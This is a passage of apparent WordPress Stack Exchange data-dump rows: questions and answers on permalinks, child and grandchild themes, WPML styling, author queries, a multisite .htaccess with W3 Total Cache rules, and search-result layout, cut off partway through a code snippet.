  <row Id="14865" PostTypeId="2" ParentId="14863" CreationDate="2011-04-15T11:11:11.300" Score="3" ViewCount="" Body="&lt;p&gt;Here are some steps for you &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Access you site through ftp and remove .htaccess file (possibly backup it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Go to admin of your site (wordpress admin) and open permalink  settings form &lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) set the first option to custom and put the value in text box&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%postname%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;d) save changes and check you front-end for links &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e) if proper links visible check one to view if they aren't returning 404 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;f) if you see 404 , put this line at the top of the .htaccess    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Options +FollowSymLinks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hopefully this will this the issue &lt;/p&gt;&#xA;&#xA;&lt;p&gt;:)&lt;/p&gt;&#xA;" LastActivityDate="2011-04-15T11:11:11.300" />
  <row Id="14866" PostTypeId="1" AcceptedAnswerId="14871" CreationDate="2011-04-15T20:04:53.413" Score="1" ViewCount="68" Body="&lt;p&gt;I'm trying to create a versatile Wordpress network .  In order to speed up development, I imagine I'll need to channel projects to different themes at an early stage.  At the core of my network install I'd like to have three or four themes, pre-configured to handle a specific class of website.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, I'd like each of these themes, though configured differently (as far as content-types, page templates, and layouts), to use the same basic functions, markup and general best practices (think html 5 boilerplate).  In essence, each of these core themes should be a child theme of some parent that fits my basic technological requirements.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when it comes time to actually create specific websites, I would like them to each be a child of an appropriate core theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In essence, I'm running into the problem of granchild themes as brought up in this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/08/16/frameworks-parent-child-and-grandchild-themes&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/08/16/frameworks-parent-child-and-grandchild-themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not familiar with it, it argues that a lot of parent themes are wrongly considered frameworks, and that Wordpress is not built to accommodate grandchild themes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it better to duplicate a theme (no parent-child relationship) to create my few core themes and deal with updating them manually as needed, or should I  have each core theme be a child theme of some parent and create an artificial (not wordpress native) grandchild inheritance system for the actual websites I create. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to hearing your thoughts&lt;/p&gt;&#xA;" OwnerUserId="4705" LastActivityDate="2011-04-15T20:31:17.533" Title="Grandchild themes and optimal network architecture" Tags="&lt;multisite&gt;&lt;child-theme&gt;&lt;parent-theme&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="14867" PostTypeId="2" ParentId="14843" CreationDate="2011-04-15T20:07:51.010" Score="1" ViewCount="" Body="&lt;p&gt;1) For your sidebar menu highlighting, try using &lt;code&gt;has_category( $cat )&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_category&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) rather than &lt;code&gt;in_category( $cat )&lt;/code&gt;. (Reference Otto's comment above.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) For navigation, if you're using &lt;code&gt;previous_post_link()&lt;/code&gt;/&lt;code&gt;next_post_link()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/next_post_link&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) use the &lt;code&gt;$in_same_cat&lt;/code&gt; argument.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T20:07:51.010" />
  <row Id="14868" PostTypeId="2" ParentId="14861" CreationDate="2011-04-15T20:16:52.040" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/_e&quot; rel=&quot;nofollow&quot;&gt;_e()&lt;/a&gt; will translate the text passed as a argument to the language your site is currently set up to use (if the translation exists). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, don't do that. Use it for text visible on the website, not for IDs/classes etc. To create context based css rules, simply add the WPML language ID as a body class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('body_class', 'wpml_body_class');&#xA;function wpml_body_class($classes){&#xA;  return array_push($classes, ICL_LANGUAGE_CODE);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then style the elements you need to using something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.en .menu-top{&#xA; ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's faster, and you keep your code easy to maintain.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-15T20:16:52.040" CommentCount="1" />
  <row Id="14869" PostTypeId="2" ParentId="14862" CreationDate="2011-04-15T20:22:08.367" Score="0" ViewCount="" Body="&lt;p&gt;That &quot;Posted On&quot; bit is part of the &lt;code&gt;/inc/meta.php&lt;/code&gt; template file, that is being included in &lt;code&gt;archive.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Modify &lt;code&gt;/inc/meta.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Modify &lt;code&gt;archive.php&lt;/code&gt; to remove this include&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Add a &lt;code&gt;category.php&lt;/code&gt;, based on &lt;code&gt;archive.php&lt;/code&gt;, but omitting the include of &lt;code&gt;/inc/meta.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conditional statement to exclude the category archives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! is_category() ) { &#xA;&#xA;     // we're not on a category archive; do something&#xA;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try wrapping this around the &lt;code&gt;include()&lt;/code&gt; for &lt;code&gt;/inc/meta.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-15T23:24:35.890" LastActivityDate="2011-04-15T23:24:35.890" CommentCount="1" />
  <row Id="14870" PostTypeId="2" ParentId="14866" CreationDate="2011-04-15T20:29:55.567" Score="0" ViewCount="" Body="&lt;p&gt;You can put the commonly used functions in a must-use plugin.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-15T20:29:55.567" />
  <row Id="14871" PostTypeId="2" ParentId="14866" CreationDate="2011-04-15T20:31:17.533" Score="0" ViewCount="" Body="&lt;p&gt;There are a lot of specific to figure out, but your basic options are to handle it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In runtime. Stuff common core into plugin or just load it from same directory for all core themes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In development. Set up a version control, make a script that will check out common files to all core themes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-15T20:31:17.533" />
  <row Id="14872" PostTypeId="1" AcceptedAnswerId="14875" CreationDate="2011-04-15T20:39:50.453" Score="0" ViewCount="106" Body="&lt;p&gt;I am trying to retrieve all custom post types created by the current user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this piece of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_current_user();&#xA;&#xA;$args_my_items = array(&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'post_type' =&amp;gt; 'mycustomposttype',&#xA;    'post_author' =&amp;gt; $current_user-&amp;gt;ID);&#xA;&#xA;query_posts($args_my_items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What ends up being returned are all posts of type &quot;mycustomposttype&quot;.  It does not filter by post_author. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the wrong query parameters? How can I filter by the current user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-16T09:01:46.270" LastActivityDate="2011-04-16T09:01:46.270" Title="Retrieve posts by author" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="14873" PostTypeId="2" ParentId="14862" CreationDate="2011-04-15T20:59:44.760" Score="0" ViewCount="" Body="&lt;p&gt;Open the archive.php file of the Blank theme and delete this code from the top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php /* If this is a category archive */ if (is_category()) { ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Archive for the &amp;amp;#8216;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;amp;#8217; Category&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is a tag archive */ } elseif( is_tag() ) { ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Posts Tagged &amp;amp;#8216;&amp;lt;?php single_tag_title(); ?&amp;gt;&amp;amp;#8217;&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is a daily archive */ } elseif (is_day()) { ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Archive for &amp;lt;?php the_time('F jS, Y'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is a monthly archive */ } elseif (is_month()) { ?&amp;gt;&#xA;            &amp;lt;h2&amp;gt;Archive for &amp;lt;?php the_time('F, Y'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is a yearly archive */ } elseif (is_year()) { ?&amp;gt;&#xA;            &amp;lt;h2 class=&quot;pagetitle&quot;&amp;gt;Archive for &amp;lt;?php the_time('Y'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is an author archive */ } elseif (is_author()) { ?&amp;gt;&#xA;            &amp;lt;h2 class=&quot;pagetitle&quot;&amp;gt;Author Archive&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) &amp;amp;&amp;amp; !empty($_GET['paged'])) { ?&amp;gt;&#xA;            &amp;lt;h2 class=&quot;pagetitle&quot;&amp;gt;Blog Archives&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-15T20:59:44.760" />
  <row Id="14874" PostTypeId="1" AcceptedAnswerId="14898" CreationDate="2011-04-15T21:23:52.167" Score="2" ViewCount="99" Body="&lt;p&gt;in the functions.php of a parent theme, I would like to check for wheter the theme is being run directly, or it is run via a child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a conventional way of doing this?&#xA;I cant find the is_childtheme() function I would have liked to have found.. so whats the best way? Check for theme name and compare it to parent theme's maybe? how can this be done?&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-04-16T07:24:37.367" Title="something like is_childtheme()" Tags="&lt;child-theme&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14875" PostTypeId="2" ParentId="14872" CreationDate="2011-04-15T21:24:51.567" Score="1" ViewCount="" Body="&lt;p&gt;You must specify the &lt;code&gt;author&lt;/code&gt; parameter as described &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Parameters&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Try to use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args_my_items = array(&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'post_type' =&amp;gt; 'mycustomposttype',&#xA;    'author' =&amp;gt; $current_user-&amp;gt;ID&#xA;);&#xA;&#xA;query_posts($args_my_items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-16T09:01:04.243" LastActivityDate="2011-04-16T09:01:04.243" CommentCount="1" />
  <row Id="14876" PostTypeId="1" CreationDate="2011-04-15T21:44:11.557" Score="3" ViewCount="95" Body="&lt;p&gt;I have a Microsoft Word document which I would like to convert to WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The document is in Hebrew. It contains mathematical equations generated with &lt;a href=&quot;http://www.dessci.com/en/products/mathtype/&quot; rel=&quot;nofollow&quot;&gt;MathType&lt;/a&gt;. It also contains images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just copying and pasting the text of the document to the text area (in WordPress control pannel) wouldn't work because of the equations and images. What is the simplest way to do it?&lt;/p&gt;&#xA;" OwnerUserId="4706" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-04-15T23:24:41.460" LastActivityDate="2011-04-15T23:24:41.460" Title="How do I convert a mathematical Microsoft Word document to a WordPress blog post?" Tags="&lt;posts&gt;&lt;blog&gt;&lt;microsoft&gt;&lt;latex&gt;&lt;mathtype&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="14877" PostTypeId="1" CreationDate="2011-04-15T21:46:19.667" Score="0" ViewCount="194" Body="&lt;p&gt;to all , I'm using Wordpress MU/MS 3.1.1 one of my subdomain: &lt;a href=&quot;http://teknologi.downloadtaky.info/&quot; rel=&quot;nofollow&quot;&gt;http://teknologi.downloadtaky.info/&lt;/a&gt; has a big problem with the  images, it's a couple of days that I have a lot of 404 errors.&#xA;My &quot;Main&quot; domain blog is: &lt;a href=&quot;http://downloadtaky.info&quot; rel=&quot;nofollow&quot;&gt;http://downloadtaky.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if I try to upload a new image from Media inside the teknologi.downloadtaky.info dashboard the link I receive is broken!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyone that can help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My root .htaccess (I use W3C Total Cache) =&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    #uploaded files&#xA;    RewriteRule ^(.*/)?files/$ index.php [L]&#xA;    RewriteCond %{REQUEST_URI} !.*wp-content/plugins.*&#xA;    RewriteRule ^(.*/)?files/(.*) wp-content/blogs.php?file=$2 [L]&#xA;&#xA;    # add a trailing slash to /wp-admin&#xA;    RewriteCond %{REQUEST_URI} ^.*/wp-admin$&#xA;    RewriteRule ^(.+)$ $1/ [R=301,L]&#xA;&#xA;    RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xA;    RewriteRule . - [L]&#xA;    RewriteRule  ^([_0-9a-zA-Z-]+/)?(wp-.*) $2 [L]&#xA;    RewriteRule  ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]&#xA;    RewriteRule . index.php [L]&#xA;&#xA;    &amp;lt;IfModule mod_security.c&amp;gt;&#xA;    &amp;lt;Files async-upload.php&amp;gt;&#xA;    SecFilterEngine Off&#xA;    SecFilterScanPOST Off&#xA;    &amp;lt;/Files&amp;gt;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&#xA;    # BEGIN W3TC Page Cache&#xA;    &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /&#xA;    RewriteCond %{HTTP_HOST} ^(www\.)?([a-z0-9\-\.]+\.[a-z]+)\.?(:[0-9]+)?$&#xA;    RewriteRule .* - [E=W3TC_DOMAIN:%2]&#xA;    RewriteCond %{HTTP_USER_AGENT} (2\.0\ mmp|240x320|alcatel|amoi|asus|au\-mic|audiovox|avantgo|benq|bird|blackberry|blazer|cdm|cellphone|danger|ddipocket|docomo|dopod|elaine/3\.0|ericsson|eudoraweb|fly|haier|hiptop|hp\.ipaq|htc|huawei|i\-mobile|iemobile|j\-phone|kddi|konka|kwc|kyocera/wx310k|lenovo|lg|lg/u990|lge\ vx|midp|midp\-2\.0|mmef20|mmp|mobilephone|mot\-v|motorola|netfront|newgen|newt|nintendo\ ds|nintendo\ wii|nitro|nokia|novarra|o2|openweb|opera\ mobi|opera\.mobi|palm|panasonic|pantech|pdxgw|pg|philips|phone|playstation\ portable|portalmmm|ppc|proxinet|psp|pt|qtek|sagem|samsung|sanyo|sch|sec|sendo|sgh|sharp|sharp\-tq\-gx10|small|smartphone|softbank|sonyericsson|sph|symbian|symbian\ os|symbianos|toshiba|treo|ts21i\-10|up\.browser|up\.link|uts|vertu|vodafone|wap|willcome|windows\ ce|windows\.ce|winwap|xda|zte) [NC]&#xA;    RewriteRule .* - [E=W3TC_UA:_low]&#xA;    RewriteCond %{HTTP_USER_AGENT} (acer\ s100|android|archos5|blackberry9500|blackberry9530|blackberry9550|cupcake|docomo\ ht\-03a|dream|htc\ hero|htc\ magic|htc_dream|htc_magic|incognito|ipad|iphone|ipod|lg\-gw620|liquid\ build|maemo|mot\-mb200|mot\-mb300|nexus\ one|opera\ mini|samsung\-s8000|series60.*webkit|series60/5\.0|sonyericssone10|sonyericssonu20|sonyericssonx10|t\-mobile\ mytouch\ 3g|t\-mobile\ opal|tattoo|webmate|webos) [NC]&#xA;    RewriteRule .* - [E=W3TC_UA:_high]&#xA;    RewriteCond %{HTTPS} =on&#xA;    RewriteRule .* - [E=W3TC_SSL:_ssl]&#xA;    RewriteCond %{SERVER_PORT} =443&#xA;    RewriteRule .* - [E=W3TC_SSL:_ssl]&#xA;    RewriteCond %{HTTP:Accept-Encoding} gzip&#xA;    RewriteRule .* - [E=W3TC_ENC:.gzip]&#xA;    RewriteCond %{REQUEST_METHOD} !=POST&#xA;    RewriteCond %{QUERY_STRING} =&quot;&quot;&#xA;    RewriteCond %{REQUEST_URI} \/$&#xA;    RewriteCond %{REQUEST_URI} !(\/wp-admin\/|\/xmlrpc.php|\/wp-(app|cron|login|register|mail)\.php|wp-.*\.php|index\.php) [NC,OR]&#xA;    RewriteCond %{REQUEST_URI} (wp\-comments\-popup\.php|wp\-links\-opml\.php|wp\-locations\.php) [NC]&#xA;    RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|wordpress_\[a\-f0\-9\]\+|wordpress_logged_in) [NC]&#xA;    RewriteCond &quot;/home/download/public_html/wp-content/w3tc-%{ENV:W3TC_DOMAIN}/pgcache/$1/_index%{ENV:W3TC_UA}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}&quot; -f&#xA;    RewriteRule (.*) &quot;/wp-content/w3tc-%{ENV:W3TC_DOMAIN}/pgcache/$1/_index%{ENV:W3TC_UA}%{ENV:W3TC_SSL}.html%{ENV:W3TC_ENC}&quot; [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;    # END W3TC Page Cache&#xA;    # BEGIN W3TC Browser Cache&#xA;    &amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;        &amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;            BrowserMatch ^Mozilla/4 gzip-only-text/html&#xA;            BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xA;            BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xA;            BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html&#xA;        &amp;lt;/IfModule&amp;gt;&#xA;        &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;            Header append Vary User-Agent env=!dont-vary&#xA;        &amp;lt;/IfModule&amp;gt;&#xA;    AddOutputFilterByType DEFLATE text/css application/x-javascript text/html text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(css|js)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.3&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.3&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|swf|tar|tif|tiff|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.3&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;# END W3TC Browser Cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-16T13:42:50.467" LastActivityDate="2011-04-16T13:42:50.467" Title="rewrite rules problems on Wordpress MS subdomain" Tags="&lt;multisite&gt;&lt;htaccess&gt;&lt;404-error&gt;&lt;plugin-w3-total-cache&gt;&lt;rewrite-rules&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="14878" PostTypeId="2" ParentId="14874" CreationDate="2011-04-15T21:47:36.357" Score="3" ViewCount="" Body="&lt;p&gt;WordPress Core does it like this (at least, at one point):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( TEMPLATEPATH !== STYLESHEETPATH )&#xA;  // We have a child theme active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-15T21:47:36.357" CommentCount="3" />
  <row Id="14879" PostTypeId="1" AcceptedAnswerId="14887" CreationDate="2011-04-15T22:01:37.813" Score="0" ViewCount="46" Body="&lt;p&gt;Is there a way to count the amount of empty fields of a post (or the fields of a plugin as they relate to the different)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have 1,500 posts on my site. Each post has important fields (information) needed for the proper functionality and user accessibility (i.e. city, state, zip code, address, etc), but not every post has all of these fields filled out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I want to do is know how many posts are missing certain fields. For example, how many posts are missing the city field and so forth. Is there a plugin or a function that can count the amount of fields are missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any help or advice with this. This would be very helpful for multiple reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gary   &lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-05-16T00:50:54.360" Title="Counting post fields" Tags="&lt;custom-field&gt;&lt;plugin-more-fields&gt;&lt;plugin-simple-fields&gt;" AnswerCount="1" />
  <row Id="14880" PostTypeId="2" ParentId="199" CreationDate="2011-04-15T22:09:06.590" Score="2" ViewCount="" Body="&lt;p&gt;For a highly trafficked site, you should tune all MySQL buffers for the content that is in place now. Regardless of the version of WordPress, &lt;a href=&quot;http://dba.stackexchange.com/questions/1/what-are-the-main-differences-between-innodb-and-myisam/2194#2194&quot;&gt;the MySQL layer can have its configuration computed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, if you have InnoDB data without enabling innodb_file_per_table, &lt;a href=&quot;http://serverfault.com/questions/155455/how-do-myisam-and-innodb-utilize-hd-space/246111#246111&quot;&gt;you need to cleanup InnoDB by segmenting each table into its own physical tablespace&lt;/a&gt;. It is possible to do decent MySQL tuning &lt;a href=&quot;http://serverfault.com/questions/253059/mysql-innodb-optimisation/253233#253233&quot;&gt;even if you have a limited hardware&lt;/a&gt;. There are &lt;a href=&quot;http://stackoverflow.com/questions/5248420/at-what-point-does-mysql-innodb-fine-tuning-become-a-requirement/5250306#5250306&quot;&gt;many scenarios for doing such InnoDB optimizations&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, you cannot plan good settings for my.cnf without knowing the amount of data to configure for. You would have to periodically load a current dataset from production into a staging environment, perform optimizations and come away with the numbers to configure in the my.cnf of the production server.&lt;/p&gt;&#xA;" OwnerUserId="4699" LastEditorUserId="4699" LastEditorDisplayName="" LastEditDate="2011-04-16T02:21:34.347" LastActivityDate="2011-04-16T02:21:34.347" />
  <row Id="14881" PostTypeId="1" CreationDate="2011-04-15T22:13:49.860" Score="3" ViewCount="260" Body="&lt;p&gt;I have a site that has a few custom post types. When a customer searches it shows a combination of all the different posts. I'd like to segment the two on the same page resulting in something that looks like the example below. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Showing results for: really cool search&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;strong&gt;Video Management&lt;/strong&gt;&lt;br&gt;&#xA;  from a central location. Radius offers&#xA;  interactive map capability, and&#xA;  multiple monitor support. Designed for&#xA;  a multiple monitor environmen...&#xA;  &lt;a href=&quot;http://openeye.net/products/software/video-management&quot; rel=&quot;nofollow&quot;&gt;http://openeye.net/products/software/video-management&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Knowledge Base Entries:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;strong&gt;Repairing your device&lt;/strong&gt;&lt;br&gt;&#xA;  from a central location. Radius offers&#xA;  interactive map capability, and&#xA;  multiple monitor support. Designed for&#xA;  a multiple monitor environmen...&#xA;  &lt;a href=&quot;http://openeye.net/?faq=video-management-repair&quot; rel=&quot;nofollow&quot;&gt;http://openeye.net/?faq=video-management-repair&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example of my loop from loop-search.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&amp;lt;h4 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;    &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail; ?&amp;gt;&#xA;        &amp;lt;?php if (function_exists('relevanssi_the_excerpt')) { relevanssi_the_excerpt(); }; ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_permalink(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail; ?&amp;gt;&#xA;        &amp;lt;?php the_content( __( 'Continue reading', 'twentyten' ) ); ?&amp;gt;&#xA;        &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_permalink(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my changes to search.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : $posts_per_page = 20; ?&amp;gt;&#xA;    &amp;lt;span style=&quot;font-size:18px;&quot; class=&quot;page-title&quot;&amp;gt;&amp;lt;?php printf( __( 'Showing results for: %s', 